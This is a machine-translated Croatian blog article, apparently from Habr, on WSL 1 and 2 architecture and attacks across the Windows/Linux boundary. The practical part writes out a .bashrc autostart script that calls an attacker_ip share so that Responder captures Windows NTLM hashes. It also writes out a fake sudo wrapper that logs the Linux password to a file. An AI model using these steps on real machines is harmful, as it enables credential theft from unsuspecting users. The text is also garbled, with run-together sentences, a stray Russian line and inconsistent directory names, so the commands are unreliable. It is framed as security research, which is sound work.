Pozdrav, habr! OTUS pokreće novi tečaj u listopadu . U iščekivanju početka tečaja, s vama dijelimo članak koji je napisao jedan od naših učitelja, Alexander Kolesnikov.

Microsoft je 2016. IT zajednici predstavio novu WSL tehnologiju (Wiznutra Spodsustav za Linux), što je dugoročno omogućilo ujedinjenje prethodno nepomirljivih konkurenata koji su se borili za popularnost među običnim i naprednim korisnicima OS-a: Windows и LinuxOva tehnologija je omogućila korištenje alata operativnog sustava. Linux okružen Windows bez potrebe za pokretanjem Linux, na primjer, korištenjem multi-boota. Na Habru možete pronaći brojne članke koji opisuju prednosti korištenja WSL-a. Međutim, nažalost, u vrijeme pisanja ovog teksta, na ovom resursu nisu pronađene studije o sigurnosti ove simbioze operativnih sustava. Ovaj post je pokušaj ispravljanja ovoga. Članak će raspravljati o značajkama arhitektura WSL 1 i 2 i analizirati nekoliko primjera napada na sustave koji koriste ove tehnologije. Članak je podijeljen u dva dijela. Prvi će predstaviti glavne teorijske metode napada. Linux и WindowsDrugi članak će obuhvatiti postavljanje testnog okruženja i reproduciranje napada.
WSL 1: arhitektonske značajke
Za potpuno razumijevanje sigurnosnih problema WSL-a, potrebno je identificirati ključne nijanse povezane s implementacijom podsustava. Jedna od glavnih korisničkih potreba koju WSL zadovoljava je omogućavanje pristupa terminalima. Linux sustavi na hostu s OS-om WindowsTakođer, ponuđena kompatibilnost bila je toliko izvorna da su izvršne datoteke Linux (ELF) mogao bi se pokrenuti izravno u sustavu WindowsDa bi se postigli ovi ciljevi u Windows 10 stvoren je poseban podsustav koji omogućuje pokretanje aplikacija Linux korištenjem skupa specifičnih sistemskih poziva - stoga je pokušano mapiranje skupa sistemskih poziva Linux na WindowsFizički, to je implementirano dodavanjem novih upravljačkih programa i novog formata procesa. Vizualno, arhitektura je izgledala ovako:

U osnovi, interakcija s operativnim sustavom Linux bio je organiziran pomoću nekoliko kernel modula i posebne vrste procesa - pico. Gornji dijagram pokazuje da se proces koji se izvršava u instanci Linux na hostu, mora biti izvorni i mora koristiti iste resurse kao i obične aplikacije WindowsAli kako se to može postići? U projektu razvijeni su koncepti procesa za Windows, koji je pružao sve potrebne komponente operacijskog sustava (ovisno o njegovoj verziji) za pokretanje aplikacije s drugog OS-a.
Treba napomenuti da je predložena apstrakcija omogućila da se ne oslanjamo na operativni sustav (posebno, Windows), koji očekuje pokretanje još jednog procesa OS-a, te predložio opći pristup.
Dakle, bilo koja aplikacija unutar pico procesa mogla bi se pokrenuti bez obzira na kernel. Windows:
- Probleme kompatibilnosti i prijevoda sistemskih poziva moraju rješavati posebni pružatelji usluga;
- Kontrola pristupa mora se implementirati putem Sigurnosnog monitora. Monitor se nalazi u jezgri i stoga Windows Bila je potrebna nadogradnja u obliku novog upravljačkog programa koji bi mogao djelovati kao pružatelj usluga za takve procese. Prototip pico procesa shematski je prikazan u nastavku:

Budući da datotečni sustav Linux koristi imena datoteka i direktorija koja razlikuju velika i mala slova, Windows Za korištenje s WSL-om dodane su dvije vrste datotečnih sustava: VolFS i DriveFS. VolFS je implementacija datotečnog sustava. LinuxDriveFS je datotečni sustav koji radi prema pravilima Windows, ali ima mogućnost odabira osjetljivosti imena na velika i mala slova.
WSL 2
WSL 1 imao je niz ograničenja koja su sprječavala njegovu upotrebu za rješavanje najšireg spektra zadataka: na primjer, nedostajala mu je mogućnost pokretanja 32-bitne verzije. Linux Aplikacije nisu mogle koristiti upravljačke programe uređaja. Stoga je 2020. godine objavljen WSL 2, koji je promijenio pristup izgradnji podsustava. WSL 2 je optimizirani virtualni stroj koji odgovara karakteristikama potrošnje resursa WSL-a 1. Sada, ovisno o problemima koje korisnik rješava, OS Windows, možete odabrati potrebnu verziju podsustava za rad LinuxKako bi se ublažile potencijalne ranjivosti, WSL 2 je implementiran na temelju Hyper-V-a u Windows 10U ovom obliku Windows ima mogućnost izoliranog pokretanja kernela operacijskog sustava LinuxVrijedi zapamtiti da je verzija 1 WSL-a predstavljena kao beta značajka namijenjena pokazivanju smjera razvoja. Windows u ovom području, pa je prijelaz na Hyper-V bio neizbježan. Konačna arhitektura izgleda ovako:

U ovoj verziji, kerneli sustava Windows и Linux Svaki ima vlastite resurse i preklapa se samo unutar datotečnog sustava, ali to preklapanje je daleko od potpunog. Interakcija između datotečnih sustava ostvaruje se putem klijent-poslužitelj omotača koji radi na 9P protokolu.
Danas Microsoft nudi mogućnost prebacivanja između WSL 1 i WSL 2. Obje su verzije dostupne za korištenje.
WSL sigurnost
Trenutačno postoji nekoliko radova koji opisuju neke pristupe korištenju legitimnih OS alata za napad na komunikaciju između podsustava. Koristit ćemo njihove skripte da provjerimo relevantnost napada u vrijeme pisanja. Opći popis napada i scenarija:
1. Implementacija datotečnog sustava: prava pristupa, dostupnost zajedničkih direktorija/mehanizama za razmjenu podataka.
Provedeno je istraživanje kako bi se utvrdila kršenja pravila pristupa iz Linux FS->Windows FS, Windows FS->Linux FS. Istraživanje je pokazalo mogućnost izmjene određene datoteke unutar ciljanog OS-a. Također se pokušalo zamijeniti, stvoriti duplikate i izbrisati dio datotečnih sustava.
Scenarij:
- A. Napad iz operativnog sustava Windows — modifikacija datoteka iz direktorija /etc operativnog sustava Linux.
- B. Napad iz operativnog sustava Linux — izmjena datoteka u direktorijima:
C:Windows,C:Program Files,C:Users<User>
2. Implementacija mrežnog stoga.
Istraživanje je provedeno na primjerima napada s operativnog sustava Linux na WindowsIskorištene su operativne značajke mrežnog steka, posebno njegovi mehanizmi za autentifikaciju za različite resurse.
Scenarij:
- Otvaranje pristupa portu koji je zauzet u sustavu Windows
- Otvaranje porta bez odgovarajućih prava
- Pokretanje obrnute ljuske pomoću elf datoteke u operativnom sustavu Windows.
3. Skrivanje pokretanja procesa zlonamjernog softvera pomoću WSL podsustava.
Istraživanje se temeljilo na jednostavnoj činjenici - sigurnosni podsustavi ne mogu presresti događaje u drugom kernelu koji radi pomoću legitimnog pružatelja iz operativnog sustava u slučaju WSL 1. U slučaju WSL 2, ne postoji način da se vide događaji koji se događaju u zasebnoj jezgri unutar laganog virtualnog stroja.
Scenarij:
1) Pokrenite aplikaciju za udaljeni pristup sustavu i pregledajte zabilježene događaje.
WSL 1 eksperimenti: Otmica hash-a (OS Windows)
Konačno smo stigli do praktičnog dijela. Prvo moramo postaviti okruženje za testiranje. Svi eksperimenti će se provoditi na ispitnom stolu s Windows 10 2004. Slika operativnog sustava odabrana za WSL bila je Ubuntu 18.04. travnja. Slika je odabrana nasumično i bilo koja druga će funkcionirati jednako dobro. Naredbe za postavljanje stalka:
Prvo morate pokrenuti powershell.exe kao administrator.
Za WSL 1 trebate pokrenuti naredbe:
- Omogućiti-WindowsDodatna značajka - Online - Naziv značajke Microsoft-Windows-Podsustav-Linux #Omogući WSL značajku
- Invoke-WebRequest-Uri aka.ms/wsl-ubuntu-1804
-IzlaznaDatoteka ~/Ubuntu.appx -UseBasicParsing #Učitaj sliku Linux iz Microsoftove trgovine
Nakon ponovnog pokretanja instalacijskog sustava, možete pokrenuti naredbu bash. Ako je sve ispravno funkcioniralo, u konzoli ćete vidjeti izlaz sličan ovome. Windows:

Kao napadačev stroj koristit ćemo Kali distribuciju. Linux, sva računala moraju biti na istoj lokalnoj mreži.
Pretpostavimo da imamo neprivilegiran pristup WSL-u na računalu. WindowsPokušajmo napasti operativni sustav. Linux, pozivajući naredbu iz LinuxZa implementaciju napada, koristit ćemo jednostavnu tehniku automatskog pokretanja - dodat ćemo naš skript u okruženje. LinuxDa biste to učinili, morate promijeniti datoteku .bashrc.
Na stroju s WSL-om izvršavamo:
1. bash
2. Переходим в домашнюю директорию пользователя: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exitKalijevim automobilom Linux izvršavamo:
1. Responder -I eth0 -rdvwAutomobilom Windows Pokrenimo bash.
Čekamo rezultate Kali aparata. Linux:

Dakle, dobili smo hashove korisnika Windows putem WSL podsustava pokretanjem naredbe na sustavu Linux.
WSL 1 eksperimenti: Dobivanje korisničke lozinke (OS) Linux)
Napravimo još jedan eksperiment. Tijekom ove provjere dodat ćemo u datoteku .bashrc nekoliko naredbi za dobivanje korisničke lozinke operacijskog sustava Linux.
Pokrenimo bash i unesite naredbe:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit Da bi napad bio uspješan, korisnik Sam mora pozvati sudo u terminalu. LinuxNakon toga, lozinka korisnika OS-a Linux bit će u datoteci pass.txt:

Provedba napada data je samo kao teoretska informacija.
Sljedeći dio članka opisat će implementaciju 9P protokola, razmotriti stvaranje skenera za ovaj protokol, te izvršiti napad pomoću njega.
Popis korištene literature
Čitaj više
Izvor: www.habr.com
